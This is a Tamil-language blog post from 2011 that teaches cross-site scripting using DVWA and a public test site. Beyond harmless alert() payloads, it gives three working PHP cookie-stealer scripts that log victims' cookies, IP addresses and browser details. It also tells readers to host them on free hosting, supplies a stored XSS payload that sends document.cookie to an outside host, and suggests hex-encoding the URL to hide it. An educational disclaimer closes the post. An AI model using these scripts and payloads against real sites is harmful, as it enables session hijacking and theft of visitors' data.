June 21, 2011

Cross Site Scripting (XSS)

   நாம் இந்த பதிவில் Cross Site Scripting எனும் XSS attack பற்றி பார்க்கப்போகிறோம்.

ஒரு எடுத்துக்காட்டாக, Search Bar-ல் ஒரு Script -ஐ கொடுத்து தேடும் பொழுது அதற்கான தேடல் முடிவுகள் வருவதற்கு பதிலாக, அந்த Script Run -ஆகி Output வந்தால் அந்த தளம் XSS Vulnerable என்று கொள்ளலாம்.
இதற்கு காரணம், அந்த அப்ளிகேஷன் நீங்கள் கொடுக்கிற ஊள்ளீடை சரியாக Validate and Sanitize செய்யாதது தான். முன்பே சொன்னபடி இவ்வகை தளங்கள் XSS Vulnerable தளங்கள்.


XSS Attack -ல் இரண்டு வகைகள் உள்ளன,
Reflected Attack மற்றொன்று Stored Attack.


Reflected Attack:

     (இதற்கு முன்னதாக DVWA நிறுவிக்கொள்வது புரிந்துகொள்ள எளிதாக இருக்கும்)

இப்போது DWVA-ல் Reflected Attack என்பதை தேர்ந்தெடுங்கள்.


(அல்லது http://testasp.vulnweb.com/search.asp இந்த தளத்திற்கு செல்லவும்.)

அதில்


<script>alert(‘This Site is XSS Vulnerable...!’)</script>



என்று Type செய்து தேடவும்.


This Site is XSS Vulnerable...!

என்று Alert வரும். 

 



<a href="http://knsankar.blogspot.com">Sankar's Blog</a>




என்று Type செய்தால் 


 என்று வரும்.


இதுபோல Malicious Script-களை  run பண்ண வைக்க முடியும்.




Stored Attack:
 Stored Attack என்பது Malicious Script களை ஒரு தளத்தின் Command, Guest Book, Reply என ஏதாவது ஒன்றில் Store செய்து அதனை பார்ப்பவர்களின் Browser-ல் அந்த Script - ஐ Run பண்ணுவதாகும்.

எடுத்துக்காட்டாக, Cookie Stealing பற்றி பார்ப்போம்.
ஒரு தளத்தை நீங்கள் Login செய்து பயன்படுத்தும் போது அந்த Login தகவல்கள் Cookie-ல் இருக்கும் என்பதை நாம் அறிந்ததே.

இந்த Cookie -களை படிக்கும் வகையில் Malicious Script- ஐ உருவாக்கி அதனை Store செய்வதன் மூலம் அந்த தளத்திற்கு வருபவர்களின் Cookie -ஐ படிக்க முடியும்.



<?php

$cookie = $_GET['cookie'];

$log = fopen("cookies.txt", "a");

fwrite($log, $cookie ."\n");

fclose($log);

?>



இதனை cookiestaler.php என்று store செய்து அதனை 110mb.com போன்ற ஏதாவது ஒரு இலவச Hosting-ல் பதிவேற்றிக்கொள்ளுங்கள்.

மேலும் சில Cookie Stealer-கள்,



<?php



function GetIP()

{

if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))

$ip = getenv("HTTP_CLIENT_IP");

else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))

$ip = getenv("HTTP_X_FORWARDED_FOR");

else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))

$ip = getenv("REMOTE_ADDR");

else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))

$ip = $_SERVER['REMOTE_ADDR'];

else

$ip = "unknown";

return($ip);

}



function logData()

{

$ipLog="log.txt";

$cookie = $_SERVER['QUERY_STRING'];

$register_globals = (bool) ini_get('register_gobals');

if ($register_globals) $ip = getenv('REMOTE_ADDR');

else $ip = GetIP();



$rem_port = $_SERVER['REMOTE_PORT'];

$user_agent = $_SERVER['HTTP_USER_AGENT'];

$rqst_method = $_SERVER["METHOD"];

$rem_host = $_SERVER['REMOTE_HOST'];

$referer = $_SERVER['HTTP_REFERER'];

$date=date ("l dS of F Y h:i:s A");

$log=fopen("$ipLog", "a+");



if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))

fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");

else

fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");

fclose($log);

}



logData();



?>






<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");;

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cookies.html', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');

fclose($fp);

header ("Location: http://www.knsankar.blogspot.com");

?>







இது Client Browser-ல் Run ஆகும் போது அதன் cookie Details-ஐ Cookie log.txt -ல் பதிவு செய்யும்.

அதன் Output கீழே உள்ளது போல் இருக்கும்

IP: 10.100.23.14 | PORT: 52020 | HOST: | Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.3; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.31318; .NET CLR 3.5.30729) | METHOD: | REF: facebook.com | DATE: Wednesday 22th 2010f June 2011 06:48:06 PM | COOKIE:blahblahblahblah

இந்த Cookie-ஐ XSS Vulnerable தளத்தில் Store செய்ய முடியும். 


எ.கா:






<script>document.location="www.example.com/cookie.php?c=" + document.cookie</script>



மேலதிக தகவல்களுக்கு http://ha.ckers.org/xss.html 





இதில் உங்கள் Cookie URL - ஐ மறைக்க HEX Encoder-ஐ பயன்படுத்தலாம்..




சந்தேகங்கள் எதுவும் இருந்தால் Command-ல் தெரிவிக்கவும்.

Disclaimer:

This Post Only for Educational Purpose.